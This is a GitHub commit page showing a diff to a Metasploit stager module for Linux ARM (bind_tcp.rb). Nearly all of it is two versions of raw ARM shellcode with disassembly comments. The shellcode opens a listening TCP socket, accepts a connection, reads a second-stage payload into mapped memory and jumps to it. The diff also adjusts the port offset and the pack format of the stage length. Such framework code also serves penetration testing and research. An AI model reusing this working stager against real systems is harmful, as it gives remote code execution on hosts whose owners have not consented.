Skip to content

Commit 07c3565

Browse files
committed
Made changes as suggested, forgot to remove exit() after testing was complete.
1 parent a53ab4c commit 07c3565

File tree

1 file changed

+60
-64
lines changed

1 file changed

+60
-64
lines changed

modules/payloads/stagers/linux/armle/bind_tcp.rb

Lines changed: 60 additions & 64 deletions
Original file line numberDiff line numberDiff line change
@@ -35,72 +35,68 @@ def initialize(info = {})
3535
{
3636
'Offsets' =>
3737
{
38-
'LPORT' => [ 224, 'n' ],
38+
'LPORT' => [ 226, 'n' ],
3939
},
4040
'Payload' =>
4141
[
42-
0xe59f70e0, # ldr r7, [pc, #224] ; 813c <last+0x20>
43-
0xe3a00002, # mov r0, #2
44-
0xe3a01001, # mov r1, #1
45-
0xe3a02006, # mov r2, #6
46-
0xef000000, # svc 0x00000000
47-
0xe1a0c000, # mov ip, r0
48-
0xe2877001, # add r7, r7, #1
49-
0xe28f10bc, # add r1, pc, #188 ; 0xbc
50-
0xe3a02010, # mov r2, #16
51-
0xef000000, # svc 0x00000000
52-
0xe2877002, # add r7, r7, #2
53-
0xe1a0000c, # mov r0, ip
54-
0xef000000, # svc 0x00000000
55-
0xe2877001, # add r7, r7, #1
56-
0xe1a0000c, # mov r0, ip
57-
0xe0411001, # sub r1, r1, r1
58-
0xe1a02001, # mov r2, r1
59-
0xef000000, # svc 0x00000000
60-
0xe1a0c000, # mov ip, r0
61-
0xe24dd004, # sub sp, sp, #4
62-
0xe2877006, # add r7, r7, #6
63-
0xe1a0100d, # mov r1, sp
64-
0xe3a02004, # mov r2, #4
65-
0xe3a03000, # mov r3, #0
66-
0xef000000, # svc 0x00000000
67-
0xe59d1000, # ldr r1, [sp]
68-
0xe59f307c, # ldr r3, [pc, #124] ; 8140 <last+0x24>
69-
0xe0011003, # and r1, r1, r3
70-
0xe3a02001, # mov r2, #1
71-
0xe1a02602, # lsl r2, r2, #12
72-
0xe0811002, # add r1, r1, r2
73-
0xe3a070c0, # mov r7, #192 ; 0xc0
74-
0xe3e00000, # mvn r0, #0
75-
0xe3a02007, # mov r2, #7
76-
0xe59f3060, # ldr r3, [pc, #96] ; 8144 <last+0x28>
77-
0xe1a04000, # mov r4, r0
78-
0xe3a05000, # mov r5, #0
79-
0xef000000, # svc 0x00000000
80-
0xe59f7054, # ldr r7, [pc, #84] ; 8148 <last+0x2c>
81-
0xe1a01000, # mov r1, r0
82-
0xe1a0000c, # mov r0, ip
83-
0xe3a03000, # mov r3, #0
84-
0xe59d2000, # ldr r2, [sp]
85-
0xe2422ffa, # sub r2, r2, #1000 ; 0x3e8
86-
0xe58d2000, # str r2, [sp]
87-
0xe3520000, # cmp r2, #0
88-
0xda000002, # ble 811c <last>
89-
0xe3a02ffa, # mov r2, #1000 ; 0x3e8
90-
0xef000000, # svc 0x00000000
91-
0xeafffff7, # b 80fc <loop>
92-
0xe2822ffa, # add r2, r2, #1000 ; 0x3e8
93-
0xef000000, # svc 0x00000000
94-
0xe1a0f001, # mov pc, r1
95-
0xe3a07001, # mov r7, #1
96-
0xe3a00001, # mov r0, #1
97-
0xef000000, # svc 0x00000000
98-
0x5c110002, # .word 0x5c110002
99-
0x00000000, # .word 0x00000000
100-
0x00000119, # .word 0x00000119
101-
0xfffff000, # .word 0xfffff000
102-
0x00001022, # .word 0x00001022
103-
0x00000123 # .word 0x00000123
42+
0xe59f70d4, # ldr r7, [pc, #212] ; 8130 <last+0x14>
43+
0xe3a00002, # mov r0, #2
44+
0xe3a01001, # mov r1, #1
45+
0xe3a02006, # mov r2, #6
46+
0xef000000, # svc 0x00000000
47+
0xe1a0c000, # mov ip, r0
48+
0xe2877001, # add r7, r7, #1
49+
0xe28f10b0, # add r1, pc, #176 ; 0xb0
50+
0xe3a02010, # mov r2, #16
51+
0xef000000, # svc 0x00000000
52+
0xe2877002, # add r7, r7, #2
53+
0xe1a0000c, # mov r0, ip
54+
0xef000000, # svc 0x00000000
55+
0xe2877001, # add r7, r7, #1
56+
0xe1a0000c, # mov r0, ip
57+
0xe0411001, # sub r1, r1, r1
58+
0xe1a02001, # mov r2, r1
59+
0xef000000, # svc 0x00000000
60+
0xe1a0c000, # mov ip, r0
61+
0xe24dd004, # sub sp, sp, #4
62+
0xe2877006, # add r7, r7, #6
63+
0xe1a0100d, # mov r1, sp
64+
0xe3a02004, # mov r2, #4
65+
0xe3a03000, # mov r3, #0
66+
0xef000000, # svc 0x00000000
67+
0xe59d1000, # ldr r1, [sp]
68+
0xe59f3070, # ldr r3, [pc, #112] ; 8134 <last+0x18>
69+
0xe0011003, # and r1, r1, r3
70+
0xe3a02001, # mov r2, #1
71+
0xe1a02602, # lsl r2, r2, #12
72+
0xe0811002, # add r1, r1, r2
73+
0xe3a070c0, # mov r7, #192 ; 0xc0
74+
0xe3e00000, # mvn r0, #0
75+
0xe3a02007, # mov r2, #7
76+
0xe59f3054, # ldr r3, [pc, #84] ; 8138 <last+0x1c>
77+
0xe1a04000, # mov r4, r0
78+
0xe3a05000, # mov r5, #0
79+
0xef000000, # svc 0x00000000
80+
0xe2877063, # add r7, r7, #99 ; 0x63
81+
0xe1a01000, # mov r1, r0
82+
0xe1a0000c, # mov r0, ip
83+
0xe3a03000, # mov r3, #0
84+
0xe59d2000, # ldr r2, [sp]
85+
0xe2422ffa, # sub r2, r2, #1000 ; 0x3e8
86+
0xe58d2000, # str r2, [sp]
87+
0xe3520000, # cmp r2, #0
88+
0xda000002, # ble 811c <last>
89+
0xe3a02ffa, # mov r2, #1000 ; 0x3e8
90+
0xef000000, # svc 0x00000000
91+
0xeafffff7, # b 80fc <loop>
92+
0xe2822ffa, # add r2, r2, #1000 ; 0x3e8
93+
0xef000000, # svc 0x00000000
94+
0xe1a0f001, # mov pc, r1
95+
0x5c110002, # .word 0x5c110002
96+
0x00000000, # .word 0x00000000
97+
0x00000119, # .word 0x00000119
98+
0xfffff000, # .word 0xfffff000
99+
0x00001022 # .word 0x00001022
104100
].pack("V*")
105101

106102
}
@@ -111,7 +107,7 @@ def handle_intermediate_stage(conn, payload)
111107

112108
print_status("Transmitting stage length value...(#{payload.length} bytes)")
113109

114-
address_format = 'V'
110+
address_format = 'v'
115111

116112
# Transmit our intermediate stager
117113
conn.put( [ payload.length ].pack(address_format) )

0 commit comments

Comments
 (0)